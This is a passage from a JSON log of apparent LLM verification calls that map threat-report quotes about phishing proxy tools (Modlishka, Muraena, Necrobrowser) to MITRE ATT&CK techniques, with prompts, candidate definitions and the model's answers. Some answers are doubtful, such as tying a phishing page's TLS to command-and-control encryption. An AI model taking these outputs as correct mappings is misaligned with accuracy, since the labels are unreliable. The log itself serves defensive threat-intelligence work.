3) displays the actual credential phishing box.\n\nCANDIDATE 8\nATT&CK technique: T1003 OS Credential Dumping\nDescription: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures. Credentials can then be used to perform Lateral Movement and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\nTactics: credential access\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 9\nATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n\n\"selected_index\": -1, \"support\": \"unsupported\", \"evidence_quote\": \"\", \"rationale\": \"The quote describes a tool feature to retrieve credentials but lacks specific technical details required to map to any candidate definition.\"}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 2570, + "completion_tokens": 50, + "total_tokens": 2620 + } + }, + "evidence_sha256": "73c25b1652be7db4367419eeba4c9944e7badd709f2e5d3c6aa62fcfbed2e9aa" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3387.8, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: Modlishka\nAction: encrypting\nObject: traffic\nTool: Modlishka\nTarget: fake domain landing page\n\nSOURCE QUOTE\nintegrates Let’s Encrypt so it can make the fake domain landing page just a bit more believable by encrypting the traffic\n\nCANDIDATE 0\nATT&CK technique: T1608.003 Install Digital Certificate\nDescription: Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it. Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. Adversaries can obtain digital certificates (see Digital Certificates) or create self-signed certificates (see Digital Certificates). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 1\nATT&CK technique: T1588.004 Digital Certificates\nDescription: Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities. Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free. After obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 2\nATT&CK technique: T1587.003 Digital Certificates\nDescription: Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if added to the root of trust (i.e. Install Root Certificate). After creating a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 3\nATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\n\nCANDIDATE 4\nATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: SSL inspection is advisable to detect and block such threats using SSL to hide their malicious intent.\n\nCANDIDATE 5\nATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: The attacker serves JavaScript using legitimate-looking domains in an attempt to make the traffic look benign.\n\nCANDIDATE 6\nATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 7\nATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE\nLabeled report example: This campaign uses Discord services to form a URL to host malicious payloads as follows: *https://cdn.discordapp.com/attachments/ChannelID/AttachmentID/filename.exe*\n\nCANDIDATE 8\nATT&CK technique: T1649 Steal or Forge Authentication Certificates\nDescription: Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts. Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs. With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names. Abusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts. Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates). Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS\n\nCANDIDATE 9\nATT&CK technique: T1573.002 Asymmetric Cryptography\nDescription: Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so.", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n\n\"selected_index\": 4, \"support\": \"supported\", \"evidence_quote\": \"encrypting the traffic\", \"rationale\": \"The quote states the actor is encrypting traffic to make a fake domain landing page more believable, which aligns with T1573 Encrypted Channel for concealing command and control activity.\"}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 2890, + "completion_tokens": 72, + "total_tokens": 2962 + } + }, + "evidence_sha256": "48b35046cddf7ac116d83ff288451f1012eed7e51f31461fd7d0eb3aca84241d" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3819.7, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: Muraena\nAction: scan\nObject: target site\nTool: Muraena\nTarget: target site\n\nSOURCE QUOTE\nMuraena runs server-side and uses a crawler to scan the target site to ensure it can properly rewrite all the traffic needed to not alert the victim\n\nCANDIDATE 0\nATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 1\nATT&CK technique: T1595.003 Wordlist Scanning\nDescription: Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to Brute Force, its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: Gather Victim Org Information, or Search Victim-Owned Websites). For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories. This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: Exploit Public-Facing Application or Brute Force). As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure. Once storage objects are discovered, adversaries may leverage Data from Cloud Storage to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 2\nATT&CK technique: T1595.002 Vulnerability Scanning\nDescription: Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. These scans may also include more broad attempts to Gather Victim Host Information that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 3\nATT&CK technique: T1594 Search Victim-Owned Websites\nDescription: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing). In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 4\nATT&CK technique: T1593 Search Open Websites/Domains\nDescription: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts. Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 5\nATT&CK technique: T1608.006 SEO Poisoning\nDescription: Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms. To help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news). In addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards Supply Chain Compromise lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity which may be targeted and gamed by malicious actors. Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation. SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.\nTactics: resource development\nPlatforms: PRE\n\nCANDIDATE 6\nATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 7\nATT&CK technique: T1590 Gather Victim Network Information\nDescription: Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 8\nATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 9\nATT&CK technique: T1583.004 Server\nDescription: Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in Drive-by Compromise, enabling Phishing operations, or facilitating Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.\nTactics: resource development\nPlatforms: PRE", + "max_new_tokens": 500, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "selected_index": { + "type": "integer", + "minimum": -1, + "maximum": 9 + }, + "support": { + "type": "string", + "enum": [ + "supported", + "ambiguous", + "unsupported" + ] + }, + "evidence_quote": { + "type": "string", + "maxLength": 300 + }, + "rationale": { + "type": "string", + "maxLength": 240 + } + }, + "required": [ + "selected_index", + "support", + "evidence_quote", + "rationale" + ], + "additionalProperties": false + }, + "label": "attck_verification", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n \"selected_index\": -1,\n \"support\": \"unsupported\",\n \"evidence_quote\": \"Muraena runs server-side and uses a crawler to scan the target site to ensure it can properly rewrite all the traffic needed to not alert the victim\",\n \"rationale\": \"The quote describes defensive evasion via traffic rewriting rather than adversary reconnaissance or scanning for vulnerabilities.\"\n}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 2674, + "completion_tokens": 84, + "total_tokens": 2758 + } + }, + "evidence_sha256": "75a70cdbcb6e29dd13cd5d03fa2f7e86e6cdb2b24e8fdbaf9b795612bb3ffe6c" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 3510.6, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: threat actor\nAction: deploy\nObject: Necrobrowser\nTool: Necrobrowser\n\nSOURCE QUOTE\nOnce the victim's credentials and session cookie has been harvested by the threat actor, they can deploy Necrobrowser\n\nCANDIDATE 0\nATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents.\n\nCANDIDATE 1\nATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS\n\nCANDIDATE 2\nATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows\n\nCANDIDATE 3\nATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks.\n\nCANDIDATE 4\nATT&CK technique: T1217 Browser Information Discovery\nDescription: Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser information may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).\nTactics: 